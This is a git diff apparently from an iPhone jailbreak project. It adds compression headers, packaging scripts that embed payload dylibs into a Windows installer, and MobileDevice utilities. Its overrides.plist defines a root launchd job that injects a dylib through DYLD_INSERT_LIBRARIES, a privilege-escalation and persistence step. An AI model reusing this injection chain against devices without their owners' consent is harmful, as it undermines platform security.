LZMA_VERSION_STABILITY_STABLE +# define LZMA_VERSION_STABILITY_STRING "" +#else +# error Incorrect LZMA_VERSION_STABILITY +#endif + +#define LZMA_VERSION_STRING_C_(major, minor, patch, stability, commit) \ + #major "." #minor "." #patch stability commit + +#define LZMA_VERSION_STRING_C(major, minor, patch, stability, commit) \ + LZMA_VERSION_STRING_C_(major, minor, patch, stability, commit) + + +/** + * \brief Compile-time version as a string + * + * This can be for example "4.999.5alpha", "4.999.8beta", or "5.0.0" (stable + * versions don't have any "stable" suffix). In future, a snapshot built + * from source code repository may include an additional suffix, for example + * "4.999.8beta-21-g1d92". The commit ID won't be available in numeric form + * in LZMA_VERSION macro. + */ +#define LZMA_VERSION_STRING LZMA_VERSION_STRING_C( \ + LZMA_VERSION_MAJOR, LZMA_VERSION_MINOR, \ + LZMA_VERSION_PATCH, LZMA_VERSION_STABILITY_STRING, \ + LZMA_VERSION_COMMIT) + + +/* #ifndef is needed for use with windres (MinGW or Cygwin). */ +#ifndef LZMA_H_INTERNAL_RC + +/** + * \brief Run-time version number as an integer + * + * Return the value of LZMA_VERSION macro at the compile time of liblzma. + * This allows the application to compare if it was built against the same, + * older, or newer version of liblzma that is currently running. + */ +extern LZMA_API(uint32_t) lzma_version_number(void) + lzma_nothrow lzma_attr_const; + + +/** + * \brief Run-time version as a string + * + * This function may be useful if you want to display which version of + * liblzma your application is currently using. + */ +extern LZMA_API(const char *) lzma_version_string(void) + lzma_nothrow lzma_attr_const; + +#endif diff --git a/igor/xz/lzma/vli.h b/igor/xz/lzma/vli.h new file mode 100644 index 0000000..f002c77 --- /dev/null +++ b/igor/xz/lzma/vli.h @@ -0,0 +1,168 @@ +/** + * \file lzma/vli.h + * \brief Variable-length integer handling + * + * In the .xz format, most integers are encoded in a variable-length + * representation, which is sometimes called little endian base-128 encoding. + * This saves space when smaller values are more likely than bigger values. + * + * The encoding scheme encodes seven bits to every byte, using minimum + * number of bytes required to represent the given value. Encodings that use + * non-minimum number of bytes are invalid, thus every integer has exactly + * one encoded representation. The maximum number of bits in a VLI is 63, + * thus the vli argument must be at maximum of UINT64_MAX / 2. You should + * use LZMA_VLI_MAX for clarity. + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/** + * \brief Maximum supported value of variable-length integer + */ +#define LZMA_VLI_MAX (UINT64_MAX / 2) + +/** + * \brief VLI value to denote that the value is unknown + */ +#define LZMA_VLI_UNKNOWN UINT64_MAX + +/** + * \brief Maximum supported length of variable length integers + */ +#define LZMA_VLI_BYTES_MAX 9 + + +/** + * \brief VLI constant suffix + */ +#define LZMA_VLI_C(n) UINT64_C(n) + + +/** + * \brief Variable-length integer type + * + * This will always be unsigned integer. Valid VLI values are in the range + * [0, LZMA_VLI_MAX]. Unknown value is indicated with LZMA_VLI_UNKNOWN, + * which is the maximum value of the underlaying integer type. + * + * In future, even if lzma_vli is typdefined to something else than uint64_t, + * it is guaranteed that 2 * LZMA_VLI_MAX will not overflow lzma_vli. + * This simplifies integer overflow detection. + */ +typedef uint64_t lzma_vli; + + +/** + * \brief Simple macro to validate variable-length integer + * + * This is useful to test that application has given acceptable values + * for example in the uncompressed_size and compressed_size variables. + * + * \return True if the integer is representable as VLI or if it + * indicates unknown value. + */ +#define lzma_vli_is_valid(vli) \ + ((vli) <= LZMA_VLI_MAX || (vli) == LZMA_VLI_UNKNOWN) + + +/** + * \brief Encode a variable-length integer + * + * This function has two modes: single-call and multi-call. Single-call mode + * encodes the whole integer at once; it is an error if the output buffer is + * too small. Multi-call mode saves the position in *vli_pos, and thus it is + * possible to continue encoding if the buffer becomes full before the whole + * integer has been encoded. + * + * \param vli Integer to be encoded + * \param vli_pos How many VLI-encoded bytes have already been written + * out. When starting to encode a new integer, *vli_pos + * must be set to zero. To use single-call encoding, + * set vli_pos to NULL. + * \param out Beginning of the output buffer + * \param out_pos The next byte will be written to out[*out_pos]. + * \param out_size Size of the out buffer; the first byte into + * which no data is written to is out[out_size]. + * + * \return Slightly different return values are used in multi-call and + * single-call modes. + * + * Single-call (vli_pos == NULL): + * - LZMA_OK: Integer successfully encoded. + * - LZMA_PROG_ERROR: Arguments are not sane. This can be due + * to too little output space; single-call mode doesn't use + * LZMA_BUF_ERROR, since the application should have checked + * the encoded size with lzma_vli_size(). + * + * Multi-call (vli_pos != NULL): + * - LZMA_OK: So far all OK, but the integer is not + * completely written out yet. + * - LZMA_STREAM_END: Integer successfully encoded. + * - LZMA_BUF_ERROR: No output space was provided. + * - LZMA_PROG_ERROR: Arguments are not sane. + */ +extern LZMA_API(lzma_ret) lzma_vli_encode(lzma_vli vli, + size_t *lzma_restrict vli_pos, uint8_t *lzma_restrict out, + size_t *lzma_restrict out_pos, size_t out_size) lzma_nothrow; + + +/** + * \brief Decode a variable-length integer + * + * Like lzma_vli_encode(), this function has single-call and multi-call modes. + * + * \param vli Pointer to decoded integer. The decoder will + * initialize it to zero when *vli_pos == 0, so + * application isn't required to initialize *vli. + * \param vli_pos How many bytes have already been decoded. When + * starting to decode a new integer, *vli_pos must + * be initialized to zero. To use single-call decoding, + * set this to NULL. + * \param in Beginning of the input buffer + * \param in_pos The next byte will be read from in[*in_pos]. + * \param in_size Size of the input buffer; the first byte that + * won't be read is in[in_size]. + * + * \return Slightly different return values are used in multi-call and + * single-call modes. + * + * Single-call (vli_pos == NULL): + * - LZMA_OK: Integer successfully decoded. + * - LZMA_DATA_ERROR: Integer is corrupt. This includes hitting + * the end of the input buffer before the whole integer was + * decoded; providing no input at all will use LZMA_DATA_ERROR. + * - LZMA_PROG_ERROR: Arguments are not sane. + * + * Multi-call (vli_pos != NULL): + * - LZMA_OK: So far all OK, but the integer is not + * completely decoded yet. + * - LZMA_STREAM_END: Integer successfully decoded. + * - LZMA_DATA_ERROR: Integer is corrupt. + * - LZMA_BUF_ERROR: No input was provided. + * - LZMA_PROG_ERROR: Arguments are not sane. + */ +extern LZMA_API(lzma_ret) lzma_vli_decode(lzma_vli *lzma_restrict vli, + size_t *lzma_restrict vli_pos, const uint8_t *lzma_restrict in, + size_t *lzma_restrict in_pos, size_t in_size) lzma_nothrow; + + +/** + * \brief Get the number of bytes required to encode a VLI + * + * \return Number of bytes on success (1-9). If vli isn't valid, + * zero is returned. + */ +extern LZMA_API(uint32_t) lzma_vli_size(lzma_vli vli) + lzma_nothrow lzma_attr_pure; diff --git a/misc/magic.txt b/misc/magic.txt new file mode 100644 index 0000000..5978990 --- /dev/null +++ b/misc/magic.txt @@ -0,0 +1 @@ +magicmagicmagicm \ No newline at end of file diff --git a/resources/1024x768.jpg b/resources/1024x768.jpg new file mode 100644 index 0000000..209ddde Binary files /dev/null and b/resources/1024x768.jpg differ diff --git a/resources/320x480.jpg b/resources/320x480.jpg new file mode 100644 index 0000000..5385f10 Binary files /dev/null and b/resources/320x480.jpg differ diff --git a/resources/freeze.tar.xz b/resources/freeze.tar.xz new file mode 100644 index 0000000..4549d17 Binary files /dev/null and b/resources/freeze.tar.xz differ diff --git a/resources/icon.ico b/resources/icon.ico new file mode 100644 index 0000000..3f2c120 Binary files /dev/null and b/resources/icon.ico differ diff --git a/resources/overrides.plist b/resources/overrides.plist new file mode 100644 index 0000000..285734e --- /dev/null +++ b/resources/overrides.plist @@ -0,0 +1,35 @@ + + + + + com.apple.SpringBoard + + Disabled + + + + com.apple.tcpdump.server + + KeepAlive + + Label + com.apple.tcpdump.server + ProgramArguments + + /sbin/launchd + + RunAtLoad + + LaunchOnlyOnce + + UserName + root + EnvironmentVariables + + DYLD_INSERT_LIBRARIES + /var/mobile/Media/spirit/one.dylib + + + + + diff --git a/stage/data_writer.c b/stage/data_writer.c new file mode 100644 index 0000000..53b6fdb --- /dev/null +++ b/stage/data_writer.c @@ -0,0 +1,117 @@ +#include +#include + +extern unsigned char binary_igor_2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf_dylib_start[]; +extern unsigned int binary_igor_2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf_dylib_end[]; + +extern unsigned char binary_igor_3e404d11fcbd5486d3be2dd86ce21316e1854842_dylib_start[]; +extern unsigned int binary_igor_3e404d11fcbd5486d3be2dd86ce21316e1854842_dylib_end[]; + +extern unsigned char binary_igor_74227c0021c5e12effb5bd3175eb469a8df0622e_dylib_start[]; +extern unsigned int binary_igor_74227c0021c5e12effb5bd3175eb469a8df0622e_dylib_end[]; + +extern unsigned char binary_igor_b735701843456754988021d128c2671ee36d1b04_dylib_start[]; +extern unsigned int binary_igor_b735701843456754988021d128c2671ee36d1b04_dylib_end[]; + +extern unsigned char binary_igor_f6c17e934ba0ad477812de0b7cb019396d259d93_dylib_start[]; +extern unsigned int binary_igor_f6c17e934ba0ad477812de0b7cb019396d259d93_dylib_end[]; + +extern unsigned char binary_igor_install_start[]; +extern unsigned int binary_igor_install_end[]; + +extern unsigned char binary_igor_map_plist_start[]; +extern unsigned int binary_igor_map_plist_end[]; + +extern unsigned char binary_resources_1024x768_jpg_start[]; +extern unsigned int binary_resources_1024x768_jpg_end[]; + +extern unsigned char binary_resources_320x480_jpg_start[]; +extern unsigned int binary_resources_320x480_jpg_end[]; + +extern unsigned char binary_resources_icon_ico_start[]; +extern unsigned int binary_resources_icon_ico_end[]; + +extern unsigned char binary_resources_overrides_plist_start[]; +extern unsigned int binary_resources_overrides_plist_end[]; + +extern unsigned char binary_dl_dl_exe_start[]; +extern unsigned int binary_dl_dl_exe_end[]; + +void write_stuff() { + _mkdir("igor"); + { + FILE *fp = fopen("igor/2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf.dylib", "wb"); + +fwrite(binary_igor_2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf_dylib_start, 1, (size_t) &binary_igor_2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf_dylib_end - (size_t) &binary_igor_2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf_dylib_start, fp); + fclose(fp); + } + { + FILE *fp = fopen("igor/3e404d11fcbd5486d3be2dd86ce21316e1854842.dylib", "wb"); + +fwrite(binary_igor_3e404d11fcbd5486d3be2dd86ce21316e1854842_dylib_start, 1, (size_t) &binary_igor_3e404d11fcbd5486d3be2dd86ce21316e1854842_dylib_end - (size_t) &binary_igor_3e404d11fcbd5486d3be2dd86ce21316e1854842_dylib_start, fp); + fclose(fp); + } + { + FILE *fp = fopen("igor/74227c0021c5e12effb5bd3175eb469a8df0622e.dylib", "wb"); + +fwrite(binary_igor_74227c0021c5e12effb5bd3175eb469a8df0622e_dylib_start, 1, (size_t) &binary_igor_74227c0021c5e12effb5bd3175eb469a8df0622e_dylib_end - (size_t) &binary_igor_74227c0021c5e12effb5bd3175eb469a8df0622e_dylib_start, fp); + fclose(fp); + } + { + FILE *fp = fopen("igor/b735701843456754988021d128c2671ee36d1b04.dylib", "wb"); + +fwrite(binary_igor_b735701843456754988021d128c2671ee36d1b04_dylib_start, 1, (size_t) &binary_igor_b735701843456754988021d128c2671ee36d1b04_dylib_end - (size_t) &binary_igor_b735701843456754988021d128c2671ee36d1b04_dylib_start, fp); + fclose(fp); + } + { + FILE *fp = fopen("igor/f6c17e934ba0ad477812de0b7cb019396d259d93.dylib", "wb"); + +fwrite(binary_igor_f6c17e934ba0ad477812de0b7cb019396d259d93_dylib_start, 1, (size_t) &binary_igor_f6c17e934ba0ad477812de0b7cb019396d259d93_dylib_end - (size_t) &binary_igor_f6c17e934ba0ad477812de0b7cb019396d259d93_dylib_start, fp); + fclose(fp); + } + { + FILE *fp = fopen("igor/install", "wb"); + +fwrite(binary_igor_install_start, 1, (size_t) &binary_igor_install_end - (size_t) &binary_igor_install_start, fp); + fclose(fp); + } + { + FILE *fp = fopen("igor/map.plist", "wb"); + +fwrite(binary_igor_map_plist_start, 1, (size_t) &binary_igor_map_plist_end - (size_t) &binary_igor_map_plist_start, fp); + fclose(fp); + } + _mkdir("resources"); + { + FILE *fp = fopen("resources/1024x768.jpg", "wb"); + +fwrite(binary_resources_1024x768_jpg_start, 1, (size_t) &binary_resources_1024x768_jpg_end - (size_t) &binary_resources_1024x768_jpg_start, fp); + fclose(fp); + } + { + FILE *fp = fopen("resources/320x480.jpg", "wb"); + +fwrite(binary_resources_320x480_jpg_start, 1, (size_t) &binary_resources_320x480_jpg_end - (size_t) &binary_resources_320x480_jpg_start, fp); + fclose(fp); + } + { + FILE *fp = fopen("resources/icon.ico", "wb"); + +fwrite(binary_resources_icon_ico_start, 1, (size_t) &binary_resources_icon_ico_end - (size_t) &binary_resources_icon_ico_start, fp); + fclose(fp); + } + { + FILE *fp = fopen("resources/overrides.plist", "wb"); + +fwrite(binary_resources_overrides_plist_start, 1, (size_t) &binary_resources_overrides_plist_end - (size_t) &binary_resources_overrides_plist_start, fp); + fclose(fp); + } + _mkdir("dl"); + { + FILE *fp = fopen("dl/dl.exe", "wb"); + +fwrite(binary_dl_dl_exe_start, 1, (size_t) &binary_dl_dl_exe_end - (size_t) &binary_dl_dl_exe_start, fp); + fclose(fp); + } +} + diff --git a/stage/packer.py b/stage/packer.py new file mode 100644 index 0000000..44846f2 --- /dev/null +++ b/stage/packer.py @@ -0,0 +1,29 @@ +import os, glob, tempfile, hashlib, sys + +os.chdir(sys.path[0]) + +# reallly lame but ... +sys.stdout = open('data_writer.c', 'w') +print '#include ' +print '#include ' +print +code = 'void write_stuff() {\n' +for base in ['igor', 'resources', 'dl']: + code += '\t_mkdir("%s");\n' % base + for fn in glob.glob(base + '/*'): + if '.tar.xz' in fn or not os.path.isfile(fn): continue + ofn = 'data_%s.o' % hashlib.md5(fn).hexdigest() + os.system('/opt/local/bin/i386-mingw32-objcopy -I binary -O pe-i386 --binary-architecture i386 "%s" %s' % (fn, ofn)) + fp = open(ofn, 'rb') + fp.seek(-0x100, 2) + z = fp.read() + fp.close() + varname = z[z.find('_binary')+1:z.find('_start')] + print 'extern unsigned char %s_start[];' % varname + print 'extern unsigned int %s_end[];' % varname + print + fn = fn.replace('\\', '\\\\') + fn = fn[fn.find(base):] + code += '\t{\n\t\tFILE *fp = fopen("%s", "wb");\n\t\nfwrite(%s_start, 1, (size_t) &%s_end - (size_t) &%s_start, fp);\n\t\tfclose(fp);\n\t}\n' % (fn, varname, varname, varname) +code += '}\n' +print code diff --git a/stage/resources b/stage/resources new file mode 120000 index 0000000..5548311 --- /dev/null +++ b/stage/resources @@ -0,0 +1 @@ +../resources/ \ No newline at end of file diff --git a/stage/stage.py b/stage/stage.py new file mode 100755 index 0000000..b717528 --- /dev/null +++ b/stage/stage.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python +import os, sys, hashlib, plistlib, time +def sy(x): + if os.system(x): + raise Exception(x) +myroot = os.path.realpath(os.path.dirname(sys.argv[0])) +os.chdir(myroot) +sy('rm -rf igor') +os.mkdir('igor') +os.chdir('../igor') +configs = [i for i in eval('{%s}' % open('configdata.py').read()).keys() if not i.startswith('.')] +map = {} + +for config in configs: + print 'Configuring for', config + sy('python config.py "%s"' % config) + # lol, make + sy('rm -f insns.txt one.dylib kcode.o') + sy('make') + data = open('one.dylib', 'rb').read() + fn = os.path.join('igor', hashlib.sha1(data).hexdigest() + '.dylib') + map[config] = fn + fn2 = os.path.join(myroot, fn) + if not os.path.exists(fn2): + open(fn2, 'wb').write(data) + +os.chdir(myroot) +plistlib.writePlist(map, 'igor/map.plist') +sy('cp ../igor/install igor/') +os.chdir('../igor') diff --git a/util/Makefile b/util/Makefile new file mode 100644 index 0000000..5c1b7df --- /dev/null +++ b/util/Makefile @@ -0,0 +1,17 @@ +all: n syslog logger.dylib mobdevlog.dylib install grabkdump +n: notification.c + g++ -m32 -o n notification.c -F/System/Library/PrivateFrameworks/ -framework MobileDevice -framework CoreFoundation +syslog: syslog.c + gcc -m32 -o syslog syslog.c -F/System/Library/PrivateFrameworks/ -framework MobileDevice -framework CoreFoundation +logger.dylib: logger.c + gcc -m32 -dynamiclib -o logger.dylib logger.c -framework CoreFoundation +mobdevlog.dylib: mobdevlog.c + gcc -m32 -dynamiclib -o mobdevlog.dylib mobdevlog.c -framework CoreFoundation +clean: + rm -rf n syslog logger.dylib mobdevlog.dylib *.dSYM +install: install.c + gcc -m32 -o install install.c -F/System/Library/PrivateFrameworks/ -framework MobileDevice -framework CoreFoundation -framework Foundation -framework DeviceLink -lcrypto -lz -DTESTING +grabkdump: grabkdump.c + gcc -m32 -o grabkdump grabkdump.c -F/System/Library/PrivateFrameworks/ -framework MobileDevice -framework CoreFoundation -framework Foundation -framework DeviceLink -lcrypto -lz -DTESTING + + diff --git a/util/MobileDevice.h b/util/MobileDevice.h new file mode 120000 index 0000000..1a58149 --- /dev/null +++ b/util/MobileDevice.h @@ -0,0 +1 @@ +../MobileDevice.h \ No newline at end of file diff --git a/util/al.h b/util/al.h new file mode 100644 index 0000000..5e9addf --- /dev/null +++ b/util/al.h @@ -0,0 +1,10 @@ +#pragma once +#ifdef TESTING // NSLog's output is prettier +void NSLog(CFStringRef, ...); +#define Log(format, stuff...) NSLog(CFSTR(format), ##stuff) +#else +void CFLog(int32_t level, CFStringRef format, ...); +#define Log(format, stuff...) CFLog(3, CFSTR(format), ##stuff) +#endif +#define A(x) if(!(x)) { Log("Assertion failed (%s:%d): %s", __FILE__, __LINE__, #x); exit(1); } +#define AZERO(x) do { int _x = x; if(0 != _x) { Log("Assertion failed (%s:%d): 0 == (%s) (but it was %d)", __FILE__, __LINE__, #x, _x); exit(1); } } while(0) diff --git a/util/czero.py b/util/czero.py new file mode 100644 index 0000000..57bdc9d --- /dev/null +++ b/util/czero.py @@ -0,0 +1,2 @@ +import re, sys +print len(max(re.findall('\x00+', open(sys.argv[1]).read()))) diff --git a/util/grabkdump.c b/util/grabkdump.c new file mode 100644 index 0000000..4eb8351 --- /dev/null +++ b/util/grabkdump.c @@ -0,0 +1,62 @@ +#include "MobileDevice.h" +#include +#include +#include +#include "al.h" +char *thefile; + +void qwrite(afc_connection *afc, const char *from, const char *to) { + printf("Sending %s to %s... ", from, to); + afc_file_ref ref; + FILE *fp = fopen(from, "rb"); + A(fp); + struct stat st; + fstat(fileno(fp), &st); + char *buf = (char *) malloc(st.st_size); + fread(buf, st.st_size, 1, fp); + fclose(fp); + AZERO(AFCFileRefOpen(afc, to, 3, &ref)); + AZERO(AFCFileRefWrite(afc, ref, buf, st.st_size)); + AZERO(AFCFileRefClose(afc, ref)); + free(buf); + printf("done.\n"); +} + +static void cb(am_device_notification_callback_info *info, void *foo) { + struct am_device *dev; + service_conn_t conn, afc_conn; + afc_connection *afc; + CFStringRef error; + Log("connected"); + if(info->msg != ADNCI_MSG_CONNECTED) return; + dev = info->dev; + AMDeviceConnect(dev); + A(AMDeviceIsPaired(dev)); + AZERO(AMDeviceValidatePairing(dev)); + AZERO(AMDeviceStartSession(dev)); + AZERO(AMDeviceStartService(dev, CFSTR("com.apple.afc"), &afc_conn, NULL)); + AZERO(AFCConnectionOpen(afc_conn, 0, &afc)); + + FILE *fp = fopen("i_am_install", "w"); + afc_file_ref ref; + AZERO(AFCFileRefOpen(afc, "spirit/i_am_install", 1, &ref)); + char buf[40960]; + while(1) { + unsigned int len = 40960; + AZERO(AFCFileRefRead(afc, ref, buf, &len)); + fwrite(buf, len, 1, fp); + if(len != 40960) break; + } + AZERO(AFCFileRefClose(afc, ref)); + //AZERO(AFCRemovePath(afc, "spirit/i_am_install")); + + exit(0); +} +int main(int argc, char **argv) { + thefile = argv[1]; + AMDAddLogFileDescriptor(fileno(stderr)); + am_device_notification *notif; + int ret = AMDeviceNotificationSubscribe(cb, 0, 0, NULL, ¬if); + Log("..."); + CFRunLoopRun(); +} diff --git a/util/logger.c b/util/logger.c new file mode 100644 index 0000000..ec3f358 --- /dev/null +++ b/util/logger.c @@ -0,0 +1,42 @@ +#include +#include +void CFLog(int32_t level, CFStringRef format, ...); + +CFIndex (*real1)(CFPropertyListRef, CFWriteStreamRef, CFPropertyListFormat, CFStringRef *); +CFIndex (*real2)(CFAllocatorRef, CFDataRef, CFOptionFlags, CFStringRef *); + +static void dump(const char *type, CFPropertyListRef ref) { + CFDataRef data = CFPropertyListCreateXMLData(NULL, ref); + printf("%s:\n", type); + fwrite(CFDataGetBytePtr(data), CFDataGetLength(data), 1, stdout); + printf("\n"); + CFRelease(data); +} + +CFPropertyListRef CFPropertyListCreateFromXMLData ( + CFAllocatorRef allocator, + CFDataRef xmlData, + CFOptionFlags mutabilityOption, + CFStringRef *errorString +) { + CFPropertyListRef ret = real2(allocator, xmlData, mutabilityOption, errorString); + dump("Receive", ret); + return ret; +} + +CFIndex CFPropertyListWriteToStream ( + CFPropertyListRef propertyList, + CFWriteStreamRef stream, + CFPropertyListFormat format, + CFStringRef *errorString +) { + + dump("Send", propertyList); + return real1(propertyList, stream, format, errorString); +} + +__attribute__((constructor)) +static void init() { + real1 = dlsym(RTLD_NEXT, "CFPropertyListWriteToStream"); + real2 = dlsym(RTLD_NEXT, "CFPropertyListCreateFromXMLData"); +} diff --git a/util/mobdevlog.c b/util/mobdevlog.c new file mode 100644 index 0000000..d8c57c0 --- /dev/null +++ b/util/mobdevlog.c @@ -0,0 +1,12 @@ +#include +#include +int asl_log(void *a, void *b, int c, char *d, char *e) { + printf("! %s", e); +} +int mobdevlog(int level, char *from, char *args, ...) { + va_list ap; + va_start(ap, args); + printf("[%d] %s: ", level, from); + vprintf(args, ap); + va_end(ap); +} diff --git a/util/notification.c b/util/notification.c new file mode 100644 index 0000000..a557f5a --- /dev/null +++ b/util/notification.c @@ -0,0 +1,30 @@ +#include "MobileDevice.h" +CFStringRef c; +#define A(x) if(!(x)) abort(); +static void cb(am_device_notification_callback_info *info, void *foo) { + struct am_device *dev; + if(info->msg == ADNCI_MSG_CONNECTED) { + dev = info->dev; + service_conn_t socket; + AMDeviceConnect(dev); + A(AMDeviceIsPaired(dev)); + A(AMDeviceValidatePairing(dev) == 0); + A(AMDeviceStartSession(dev) == 0); + AMDeviceStartService(dev, CFSTR("com.apple.mobile.notification_proxy"), &socket, NULL); + AMDPostNotification(socket, c, NULL); + AMDShutdownNotificationProxy((void*)socket); + exit(1); + } +} +extern "C" void AMDAddLogFileDescriptor(int fd); +int main(int argc, char **argv) { + if(argc != 2) { + printf("./n \n"); + return 1; + } + AMDAddLogFileDescriptor(fileno(stderr)); + c = CFStringCreateWithCStringNoCopy(NULL, argv[1], kCFStringEncodingASCII, kCFAllocatorNull); + am_device_notification *notif; + int ret = AMDeviceNotificationSubscribe(cb, 0, 0, NULL, ¬if); + CFRunLoopRun(); +} diff --git a/util/syslog.c b/util/syslog.c new file mode 100644 index 0000000..41c5aaf --- /dev/null +++ b/util/syslog.c @@ -0,0 +1,28 @@ +#include "MobileDevice.h" +#include + +static void cb(am_device_notification_callback_info *info, void *foo) { + struct am_device *dev; + CFStringRef error; + printf("... %x\n", info->msg); + if(info->msg == ADNCI_MSG_CONNECTED) { + dev = info->dev; + afc_connection *socket = NULL; + AMDeviceConnect(dev); + assert(AMDeviceIsPaired(dev)); + assert(AMDeviceValidatePairing(dev) == 0); + assert(AMDeviceStartSession(dev) == 0); + AMDeviceStartService(dev, CFSTR("com.apple.syslog_relay"), (void*)&socket, NULL); + printf("socket=%p\n", socket); + char c; + while(recv((int) socket, &c, 1, 0) == 1) { + if(c != 0) + putchar(c); + } + } +} +int main(int argc, char **argv) { + am_device_notification *notif; + int ret = AMDeviceNotificationSubscribe(cb, 0, 0, NULL, ¬if); + CFRunLoopRun(); +} diff --git a/wingui/Makefile b/wingui/Makefile new file mode 100644 index 0000000..82de739 --- /dev/null +++ b/wingui/Makefile @@ -0,0 +1,4 @@ +wingui.exe: wingui.c ../stage + /opt/local/bin/i386-mingw32-windres wingui.rc -O coff -o wingui.res + /opt/local/bin/i386-mingw32-gcc -m32 -I../dl -I../winstuff -std=gnu99 -o wingui.exe wingui.res wingui.c ../stage/data_* -L../winstuff/lib -I/opt/local/i386-mingw32/include -L/opt/local/i386-mingw32/lib -lwininet -lgdi32 -mwindows + diff --git a/wingui/MobileDevice.h b/wingui/MobileDevice.h new file mode 100644 index 0000000..2f07e6c --- /dev/null +++ b/wingui/MobileDevice.h @@ -0,0 +1,980 @@ +/* ---------------------------------------------------------------------------- + + * MobileDevice.h - interface to MobileDevice.framework + + * $LastChangedDate: 2007-07-09 18:59:29 -0700 (Mon, 09 Jul 2007) $ + + * + + * Copied from http://iphonesvn.halifrag.com/svn/iPhone/ + + * With modifications from Allen Porter and Scott Turner + + * + + * ------------------------------------------------------------------------- */ + + + +#ifndef MOBILEDEVICE_H + +#define MOBILEDEVICE_H + + + +#ifdef __cplusplus + +extern "C" { + +#endif + + + +#if defined(WIN32) + +#include + +typedef unsigned int mach_error_t; + +#elif defined(__APPLE__) + +#include + +#include + +#endif + +#include + + + +/* Error codes */ + +#define MDERR_APPLE_MOBILE (err_system(0x3a)) + +#define MDERR_IPHONE (err_sub(0)) + + + +/* Apple Mobile (AM*) errors */ + +#define MDERR_OK ERR_SUCCESS + +#define MDERR_SYSCALL (ERR_MOBILE_DEVICE | 0x01) + +#define MDERR_OUT_OF_MEMORY (ERR_MOBILE_DEVICE | 0x03) + +#define MDERR_QUERY_FAILED (ERR_MOBILE_DEVICE | 0x04) + +#define MDERR_INVALID_ARGUMENT (ERR_MOBILE_DEVICE | 0x0b) + +#define MDERR_DICT_NOT_LOADED (ERR_MOBILE_DEVICE | 0x25) + + + +/* Apple File Connection (AFC*) errors */ + +#define MDERR_AFC_OUT_OF_MEMORY 0x03 + + + +/* USBMux errors */ + +#define MDERR_USBMUX_ARG_NULL 0x16 + +#define MDERR_USBMUX_FAILED 0xffffffff + + + +/* Messages passed to device notification callbacks: passed as part of + + * am_device_notification_callback_info. */ + +#define ADNCI_MSG_CONNECTED 1 + +#define ADNCI_MSG_DISCONNECTED 2 + +#define ADNCI_MSG_UNKNOWN 3 + + + +#define AMD_IPHONE_PRODUCT_ID 0x1290 + +#define AMD_IPHONE_SERIAL "3391002d9c804d105e2c8c7d94fc35b6f3d214a3" + + + +/* Services, found in /System/Library/Lockdown/Services.plist */ + +#define AMSVC_AFC CFSTR("com.apple.afc") + +#define AMSVC_BACKUP CFSTR("com.apple.mobilebackup") + +#define AMSVC_CRASH_REPORT_COPY CFSTR("com.apple.crashreportcopy") + +#define AMSVC_DEBUG_IMAGE_MOUNT CFSTR("com.apple.mobile.debug_image_mount") + +#define AMSVC_NOTIFICATION_PROXY CFSTR("com.apple.mobile.notification_proxy") + +#define AMSVC_PURPLE_TEST CFSTR("com.apple.purpletestr") + +#define AMSVC_SOFTWARE_UPDATE CFSTR("com.apple.mobile.software_update") + +#define AMSVC_SYNC CFSTR("com.apple.mobilesync") + +#define AMSVC_SCREENSHOT CFSTR("com.apple.screenshotr") + +#define AMSVC_SYSLOG_RELAY CFSTR("com.apple.syslog_relay") + +#define AMSVC_SYSTEM_PROFILER CFSTR("com.apple.mobile.system_profiler") + + + +typedef unsigned int afc_error_t; + +typedef unsigned int usbmux_error_t; + +typedef unsigned int service_conn_t; + + + +struct am_recovery_device; + + + +typedef struct am_device_notification_callback_info { + + struct am_device *dev; /* 0 device */ + + unsigned int msg; /* 4 one of ADNCI_MSG_* */ + +} __attribute__ ((packed)) am_device_notification_callback_info; + + + +/* The type of the device restore notification callback functions. + + * TODO: change to correct type. */ + +typedef void (*am_restore_device_notification_callback)(struct + + am_recovery_device *); + + + +/* This is a CoreFoundation object of class AMRecoveryModeDevice. */ + +typedef struct am_recovery_device { + + unsigned char unknown0[8]; /* 0 */ + + am_restore_device_notification_callback callback; /* 8 */ + + void *user_info; /* 12 */ + + unsigned char unknown1[12]; /* 16 */ + + unsigned int readwrite_pipe; /* 28 */ + + unsigned char read_pipe; /* 32 */ + + unsigned char write_ctrl_pipe; /* 33 */ + + unsigned char read_unknown_pipe; /* 34 */ + + unsigned char write_file_pipe; /* 35 */ + + unsigned char write_input_pipe; /* 36 */ + +} __attribute__ ((packed)) am_recovery_device; + + + +/* A CoreFoundation object of class AMRestoreModeDevice. */ + +typedef struct am_restore_device { + + unsigned char unknown[32]; + + int port; + +} __attribute__ ((packed)) am_restore_device; + + + +/* The type of the device notification callback function. */ + +typedef void(*am_device_notification_callback)(struct + + am_device_notification_callback_info *, void* arg); + + + +/* The type of the _AMDDeviceAttached function. + + * TODO: change to correct type. */ + +typedef void *amd_device_attached_callback; + + + + + +typedef struct am_device { + + unsigned char unknown0[16]; /* 0 - zero */ + + unsigned int device_id; /* 16 */ + + unsigned int product_id; /* 20 - set to AMD_IPHONE_PRODUCT_ID */ + + char *serial; /* 24 - set to AMD_IPHONE_SERIAL */ + + unsigned int unknown1; /* 28 */ + + unsigned char unknown2[4]; /* 32 */ + + unsigned int lockdown_conn; /* 36 */ + + unsigned char unknown3[8]; /* 40 */ + +} __attribute__ ((packed)) am_device; + + + +typedef struct am_device_notification { + + unsigned int unknown0; /* 0 */ + + unsigned int unknown1; /* 4 */ + + unsigned int unknown2; /* 8 */ + + am_device_notification_callback callback; /* 12 */ + + unsigned int unknown3; /* 16 */ + +} __attribute__ ((packed)) am_device_notification; + + + +typedef struct afc_connection { + + unsigned int handle; /* 0 */ + + unsigned int unknown0; /* 4 */ + + unsigned char unknown1; /* 8 */ + + unsigned char padding[3]; /* 9 */ + + unsigned int unknown2; /* 12 */ + + unsigned int unknown3; /* 16 */ + + unsigned int unknown4; /* 20 */ + + unsigned int fs_block_size; /* 24 */ + + unsigned int sock_block_size; /* 28: always 0x3c */ + + unsigned int io_timeout; /* 32: from AFCConnectionOpen, usu. 0 */ + + void *afc_lock; /* 36 */ + + 